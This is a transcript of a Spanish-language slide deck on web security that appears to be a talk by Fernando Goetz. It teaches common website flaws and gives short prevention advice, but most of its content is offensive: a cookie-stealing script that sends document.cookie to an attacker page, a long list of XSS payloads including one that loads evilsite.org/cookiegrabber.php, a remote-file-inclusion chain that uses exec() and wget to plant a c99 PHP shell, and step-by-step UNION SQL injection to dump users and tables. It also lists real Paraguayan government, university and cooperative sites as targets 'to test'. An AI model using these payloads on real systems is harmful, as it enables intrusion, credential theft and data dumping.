Errores comunes al desarrollar websites

Slides:



Advertisements
Presentaciones similares
Presentación – Web Attack
Advertisements

JavaScript.
1 | Web Attacks Documentación – Web Attack. 2 | Web Attacks Seguridad en Aplicaciones Web Protocolo HTTP Vulnerabilidad XSS Vulnerabilidad CSRF Path Traversal.
Asegúrate de que estás “seguro”
Introducción a la programación (Clase 2)
1 | Web Attacks Documentación – Web Attack. 2 | Web Attacks Seguridad en Aplicaciones Web Protocolo HTTP Vulnerabilidad XSS Vulnerabilidad CSRF Path Traversal.
JavaScript Rogelio Ferreira Escutia. 2 JavaScript Wikipedia, noviembre 2009http://es.wikipedia.org/wiki/Javascript.
Internet y tecnologías web
Una página web es una fuente de información adaptada para la World Wide Web(WWW) y accesible mediante un navegador de Internet. Un sitio web es un conjunto.
El mecanismo básico de interacción entre el usuario y un sitio web esta dado por el uso de formularios html. El server envía un formulario que el browser.
Lenguaje PHP Capítulo 4.
CI-2413 Desarrollo de Aplicaciones para Internet
Herramientas para el uso de AJAX
Técnicas avanzadas de penetración a sistemas
ADMINISTRACION DE REDES SECUENCIA DE COMANDOS EN SITIOS CRUZADOS(XSS)
Jessica Lizeth Flores Guerrero Coral Jazmín Ramírez Ortiz
M.C. Rafael A. García Rosas.
Implementación de ataques basados en DNS Spoofing
Phishing o estafas por Internet
Curso de PHP Tema 6: Seguridad.
Tema 2: Lenguaje PHP básico
Ing. Lorena Ruhl - Marco Rapallini - Javier FabiánMódulo 4: Seguridad y Aplicaciones Web Ing. A. Lorena Ruhl Universidad Tecnológica.
El mecanismo básico de interacción entre el usuario y un sitio web esta dado por el uso de formularios html. El server envía un formulario que el browser.
Desarrollo de sitios web con PHP y MySQL Tema 7: Seguridad José Mariano González Romano
Fundamentos de Javascript Desarrollo de Aplicaciones para Internet.
Capacitación de Herramientas para el Desarrollo WEB Modulo VI- Javascript Sesión #3 María Paz Coloma M.
Laboratorio 7 Paginas Dinámicas Universidad de Chile – Bachillerato Curso: Computación Cristian Wilckens Patricio Bahamondes Fecha: 28 de Mayo del 2010.
ADMINISTRACION DE REDES TEMA REDIRECCIONES Y REENVÍOS NO VALIDADOS
Taller 5: Trabajo con Plantillas y uso de tecnología Ajax.
JSP COOKIES. cookies  Las cookies son datos guardados por los navegadores a instancias del servidor.  Los sitios Web las utilizan con propósitos diversos:
Orientar a clientes pertinentes. Remarketing con Google Remarketing con Google Llegue a clientes potenciales que ya han demostrado interés en su negocio.
ADMINISTRACION DE REDES SECUNECIA DE COMANDOS EN SITIOS CRUZADOS(XSS) DIEGO ALEXANDER MADRID DUQUE GABRIEL ANDRES AGUIRRE JARAMILLO INSTITUTO TECNOLOGICO.
Almacenar variables en cookies en PHP
WEB VULNERABLE DVWA Universidad de Almería
The OWASP Foundation OWASP AppSec Aguascalientes 2010 Guía de Desarrollo Seguro Francisco Aldrete Miembro de OWASP capítulo Aguascalientes.
Portal Docente Virtual : Grupo Andaluz de Investigación: ‘Topología Computacional y Matemática Aplicada Proyecto Fin de Carrera Realizado por: Pablo Germán.
Curso de Creación aplicaciones dinámicas web con PHP y MySQL Continuamos.
INTRODUCCIÓN A AJAX. ¿Qué es AJAX? Acrónimo de Asynchronous JavaScript And XML No es ninguna tecnología, ni lenguaje de programación. Es una técnica de.
Instituto Tecnológico Superior de Nochistlán División Académica Ingeniería en Sistemas Computacionales “Manejo de Seguridad en PHP: Aplicaciones Seguras”
Copiando y pegando archivos enteros Programación en Internet II.
Gloria Legorreta García GRUPO:101.  Se conoce como Web Site al conjunto de páginas web enlazadas que muestran diferentes partes del mismo. En general.
UD 1: “Adopción de pautas de seguridad informática” Análisis de las principales vulnerabilidades de un sistema informático. Luis Alfonso Sánchez Brazales.
introducción al lenguaje
Introducción al Lenguaje. ¿Qué es PHP? O Es un lenguaje de programación que es interpretado por un servidor web. O El lenguaje es genérico. PHP está orientado.
UNIDAD 7 WEB Y HTML.
XSS CROSS SITE SCRIPTING Es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte.
Programación Web Dinámica Universidad Nacional del Comahue Facultad de Informática Generador de Captcha.
Validaciones de datos en PHP Programación en Internet II.
 Claudia Jordan Idrovo.  Son los puntos de enganche para cada conexión de red que realizamos. El protocolo TCP (el utilizado en internet) identifica.
PHP con Bases de Datos Tema 10 Sesiones y Cookies Cookies SetCookie
Las tic´s Navegador / Buscador.
Pues vamos a ver un poco de cómo usar google como nuestra herramienta personal para obtener información sensible o buscar algunas vulnerabilidades en cms,
PHP con Bases de Datos Tema 5 Funciones Introducción Valor de una Función Función para obtener fecha actual. Documentación de Funciones Funciones de Usuario.
Análisis de las principales vulnerabilidades de un sistema informático. Gabriel Montañés León.
Secuencia de Comandos en Sitios Cruzados XSS
Hackear un Sitio Web. Claudio
Introducción al Lenguaje. ¿Qué es PHP? O Es un lenguaje de programación que es interpretado por un servidor web. O El lenguaje es genérico. PHP está orientado.
Uso de los programas: Screengrab Youtube Redes Sociales (Facebook) Firebug.
Integrante: Mariana Alcalá Hdz María del Carmen Andrade G. Alondra E. García Mtz Joselyn Gpe García V. Antonio de Jesús Hdz R. Cristian Jesús Ruvalcaba.
Modelo Cliente - Servidor. La Web funciona siguiendo el denominado modelo cliente-servidor, habitual en las aplicaciones que funcionan en una red. Existe.
Integrantes: Giomara Delgado Miranda Miguel Villao Figueroa Juan Quiroz Asencio.
A NÁLISIS DE LAS PRINCIPALES VULNERABILIDADES DE UN SISTEMA INFORMÁTICO Luis Villalta Márquez.
 Es un lenguaje de programación interpretado, es decir, que no requiere compilación, utilizado principalmente en páginas web, con una sintaxis semejante.
OWASP APPSEC RIO DE LA PLATA dcotelo13
Imagen de Fondo La etiqueta... ; Permite introducir una imagen como fondo del documento HTML. A continuación se muestra un ejemplo:
Los peligros de la Red. ¿A que nos enfrentamos? Se conoce como malware. Esto es un software que tiene como objetivo dañar un ordenador o conseguir datos.
Planificación Curso UNIDAD 1. INTRODUCCIÓN A LOS SERVICIOS EN RED UNIDAD 2. SERVICIOS DHCP UNIDAD 3. SERVICIOS DNS UNIDAD 4. SERVICIOS DE ACCESO REMOTO.
Conociendo Conociendoa Edm d UNIVERSIDAD CENTRAL DEL ECUADOR FACULTAD DE FILOSOFÍA, LETRAS Y CIENCIAS DE LA EDUCACIÓN Lizeth Tapia Sexto Semestre.
GESTIÓN Y ADMINISTRACIÓN WEB. INTRODUCCIÓN A INTERNET Internet constituye una vía de comunicación y una fuente de recursos de información a escala mundial.
Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet.
Transcripción de la presentación:

Errores comunes al desarrollar websites Seguridad Web Errores comunes al desarrollar websites

¿Aprenderemos a hackear sitios web? Si, aprenderemos a hackear sitios web, no obstante.. Advertencia: Utilizaremos sitios webs “reales” para mostrar sus vulnerabilidades, sólo con fines educativos. No se va a defacear ningún sitio durante esta charla, simplemente testearlos y ver sus agujeros de seguridad.

Requisitos Temática de la charla Antes de empezar Requisitos Temática de la charla

Pregunta ¿Ya han sido hackeados?

Tipos de vulnerabilidades Full Path Disclosure - FPD Cross-site Scripting – XSS Local File Inclusion – LFI Remote File Inclusion – RFI SQL Injection - SQLi

Full Path Disclosure - FPD Vulnerabilidad que permite al “atacante” ver el path absoluta donde se encuentra el sitio web. Ejemplo: /home/usuario_victima/public_html/ Peligrosidad baja, no obstante, combinado con otros tipos de vulnerabilidades como LFI o SQLi se vuelve interesante ¿Cómo conseguirlo? Manipulación de parámetros, ya sea $_GET, $_POST, Cookies Investigando en buscadores como Google ¿Qué podemos hacer con el path obtenido? Podemos identificar el posible usuario FTP, para intentar conseguir ingresar por FTP con método de fuerza bruta. Aplicación de fuerza bruta: Bruter Combinar con LFI o SQLi para lograr incluir efectivamente archivos o hacer dump de la base de datos

Full Path Disclosure - FPD ¿Cómo prevenirlo? Principalmente, deshabilitando que se muestren los errores php.ini: display_errors = "off" httpd.conf/apache2.conf: display_errors off php_flag Script PHP: ini_set ('display_errors', false); Además, controlando que estén seteadas las variables antes de utilizarlas, controlar que exista archivos antes de incluirlos, validación de variables. Con el primer paso ya basta, ya que no se mostrará nada, no obstante no está de más aplicar esto por recomendaciones de buena programación

Ejemplo- FPD Buscamos en Google warning inurl:gov.py filetype:php En este caso buscamos warning en sitios del gobierno de paraguay, pero podemos utilizar otras variantes, como ser: Fatal error, Notice, undefined function, etc

Cross-site Scripting – XSS Vulnerabilidad que permite al “atacante” inyectar código que será interpretado en el cliente, como ser JavaScript, VBScript, HTML, CSS. Podemos lograr: Hacer phishing Robo de cookies Deface via JS ¿Cómo podemos evitarlo? Controlando antes de mostrar algún dato dinámico, por ejemplo en PHP con el uso de la función htmlentities(), que remplaza los caracteres especiales por su equivalente de HTML

Robo de cookies En el sitio atacado: Publicar el siguiente código: <script> window.open("http://localhost/sitio2/cookie.php?cookies="+document.cookie); </script> En nuestro sitio: Crear un archivo cookie.php en el cual: Obtenemos la variable $_GET[‘cookies’] La enviamos a nuestro e-mail Escribimos en un archivo de texto Insertamos en una base de datos Mostramos un mensaje al usuario para confundirlo, como ser: “En este momento la página se encuentra en mantenimiento. Favor intentar en 10 minutos”

Ejemplos de Xss <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\"> <META HTTP- EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\"> '">><marquee><h1>XSS</h1></marquee> '">><script>alert('XSS')</script> '>><marquee><h1>XSS</h1></marquee> "><script alert(String.fromCharCode(88,83,83))</script> <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe> <div style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromC harCode(88,83,83));'))"> window.alert("Xyli !"); "/></a></><img src=1.gif onerror=alert(1)> [color=red' onmouseover="alert('xss')"]mouse over[/color] <body onLoad="alert('XSS');" <body onunload="javascript:alert('XSS');"> [url=javascript:alert('XSS');]click me[/url] <script language="JavaScript">alert('XSS')</script> <img src="javascript:alert('XSS')"> '); alert('XSS <font style='color:expression(alert(document.cookie))'> <IMG DYNSRC=\"javascript:alert('XSS')\"> <IMG LOWSRC=\"javascript:alert('XSS')\"> </textarea><script>alert(/xss/)</script> </title><script>alert(/xss/)</script> <script src=http://yoursite.com/your_files.js></script> "><script>alert(0)</script> <IMG src=javascript:alert(String.fromCharCode(88,83,83))> <marquee><script>alert('XSS')</script></marquee> <style>@import'javascript:alert(\"XSS\")';</style> <img src=foo.png onerror=alert(/xssed/) /> <script>alert(String.fromCharCode(88,83,83))</script> <script src="http://www.evilsite.org/cookiegrabber.php"></script>

Local File Inclusion – LFI Vulnerabilidad que permite al “atacante” mediante la manipulación de parámetros $_GET, $_POST incluir archivos ya existentes en el servidor, los cuales no son propios de la app. <?PHP include $_GET[‘pagina’]; // Se puede aplicar LFI ?> Podemos lograr: Ver archivos del sistema, como /etc/passwd, /etc/group Inclusión de archivos con código malicioso previamente insertado Forzar archivos de la app, si posee un sistema de descarga con bug LFI ¿Cómo podemos evitarlo? Se lo puede evitar seleccionando qué archivos específicamente pueden ser mostrados, de tal manera que si el archivo solicitado no está en la lista, no se podrá acceder a él.

SITIOS A TESTEAR LFI Mostrando archivos del sistema Senado - SIL - Sistema de Información Legislativa http://www.senado.gov.py/silpy/ Indert - Instituto Nacional de Desarrollo Rural y de la Tierra http://www.indert.gov.py/ CeConsult - Centro de Consultores http://www.ceconsult.com.py/ Cooperativa Coofy LTDA http://www.coofy.coop.py/ * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

SITIOS A TESTEAR LFI Bajando archivos de la APP Cooperativa San Cristobal: http://www.sancristobal.coop.py/ CNCSP - Cámara Nacional de Comercio y Servicios de Paraguay www.ccparaguay.com.py/ TSJE – Tribunal Superior de Justicia Electoral http://www.tsje.gov.py/ * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

Remote File Inclusion – RFI Es una vulnerabilidad que sólo se da en PHP, consiste en la inclusión de archivos remotos (que se encuentran en otros servidores) mediante “include”. No se da en ASP. Para que funcione debe estar habilitado url_allow_include ¿Qué podemos lograr? Inclusión de archivos remotos para ejecución de codigo malicioso ¿Cómo lograrlo? http://[servidor_victima]/index.php?pagina=http://[servidor_atacante]/cmd.txt&&cmd=ls En el archivo cmd.txt tenemos el código <?php exec($_GET[‘cmd’]);?> Se puede utiilizar exec(), shell_exec(), system(), passthru() Lo cual nos permitirá la ejecución de comandos, como por ejemplo descargar un phpshell <?php passthru('wget http://localhost/sitio2/c99.txt -O shell.php');?>

SQL Injection - SQLi Vulnerabilidad en la cual el atacante inserta código SQL para obtención de datos de la DB Ingresar al administrador: Colocamos: Usuario: ’ or 1 = 1 -- (siempre se cumplira) Password: Debería ingresar al administrador si posee SQLi ya que la condición insertada siempre se cumplirá y el resto está comentado Select * from usuario where usuario = ‘’ or 1 = 1 – ‘and pass = ‘’

SQL Injection - SQLi Si el login no tiene vulnerabilidad SQLi tenemos otras opciones Pasos: Identificar agujero, http://localhost/sitio1/index.php?id=1 ejemplo ingresando: 1 and 1 = 1 -- (true) ó 1‘ and 1 = 1 -- 1 and 1 = 0 -- (false) ó 1‘ and 1 = 0 – El comportamiento de la injección and 1 = 1-- y and 1 = 0 -- debería mostrar un comportamiento distinto respecto a lo que se muestra en la página, ya que lo primero siempre se cumple, y lo segundo nunca se cumple. Donde dice – se puede usar también #, es para comentar todo lo que pueda haber luego. Ejemplo: Select id, titulo, contenido from articulos where id = 1 and estado = 1 Select id, titulo, contenido from articulos where id = 1 and 1 = 1 – and estado = 1

Pasos para obtener datos - sqli Obtener la cantidad de columnas que afecta el query donde queremos injectar código SQL Obtener tablas Obtener columnas de tablas Obtener datos deseados Crear archivo con código malicioso para luego subir PHPShell (* Opcional )

obtener cantidad de columnas- sqli select id, titulo, contenido from articulos where id =1 and estado = 1 Insertamos SQL select id, titulo, contenido from articulos where id =1 union select 1 -- and estado = 1 Vamos agregando datos al select hasta que deje de dar error, o no muestre en blanco, o hasta que muestre el contenido como si no hubiésemos hecho la inyección select id, titulo, contenido from articulos where id =1 union select 1,2 -- and estado = 1 select id, titulo, contenido from articulos where id =1 union select 1,2,3 -- and estado = 1 En este último caso igualamos la cantidad de columnas, lo cual ya no debería darnos error SQL y deberíamos ver el contenido normal, entonces en este punto necesimamos que solo se muestre nuestro query y no lo primero, para esto debemos aplicar and 1 = 0 select id, titulo, contenido from articulos where id =1 and 1 = 0 union select 1,2,3 -- and estado = 1 Veremos entonces en la página algunos de los datos 1, 2 o 3

Obteniendo Información de la db select user(),database(),version(),connection_id() Ejemplo en la URL http://sitio.com/index.php?id=id=-1 union select concat(user(), 0x3a, database(), 0x3a, version(), connection_id(), 0x3a),2,3,4--

Obteniendo tablas select table_name from information_schema.tables limit 10,1 Remplazar el 10 por el offset deseado, debemos poner 1,1; luego 1,2; luego 1,3 hasta encontrar una tabla que nos interese, por ejemplo “usuarios” en 50,1 Ejemplo en la URL http://sitio.com/index.php?id=1 and 1= 0 union select table_name,2,3,4 from information_schema.tables limit 50,1-- Otra opción. Agrupando las tablas. select group_concat(table_name) from information_schema.tables Esquema específico select table_name from information_schema.tables where table_schema = ‘nombre_db‘ Listar tablas exceptuando las de MySQL SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

Obteniendo columnas select column_name from information_schema.columns where table_name = ‘usuarios’ and table_column like ‘A’ Si se escapa la comilla ‘, la variante es pasar el string a ASCII: select column_name from information_schema.columns where table_name=char(117,115,101,114,115) También podemos agregar filtro de columna Ejemplo en la URL http://sitio.com/index.php?id=1 and 1= 0 union select column_name,2,3,4,5,6 from information_schema.columns where table_name=char(117,115,101,114,115)-- Otra opción select group_concat(table_name) from information_schema.tables

SITIOS A TESTEAR SQL INJECTION OBTENIENDO USUARIO Y BASE DE DATOS DE LA APP– Envío por GET ANR – Asociación Nacional Republicana http://www.anr.org.py/ UNIDA - Universidad de la Integración de las Américas http://www.unida.edu.py/ Universidad Católica Nuestra Señora de la Asunción: http://www.uca.edu.py/ Cooperativa COOMECIPAR http://www.coomecipar.coop.py/ SIF AMERICA S.A. http://www.sif.com.py/ * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

SITIOS A TESTEAR SQL INJECTION OBTENIENDO USUARIO Y BASE DE DATOS DE LA APP – Envío por POST SENADO http://www.senado.gov.py/ * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

¿Preguntas?

Conclusión Sitios a los que encontramos agujeros de seguridad efectivamente: Sitios del Gobiernos www.senado.gov.py, www.indert.gov.py, www.tsje.gov.py Universidades Privadas www.uca.edu.py, www.unida.edu.py Cooperativas www.sancristibal.coop.py, www.coomecipar.coop.py Otras instituciones www.anr.gov.py. www.sif.com.py, www.ccparaguay.com.py

Contacto Fernando Goetz Twitter http://twitter.com/fernandogoetz E-mail fenandogoetz@gmail.com * Las consultas son bienvenidas.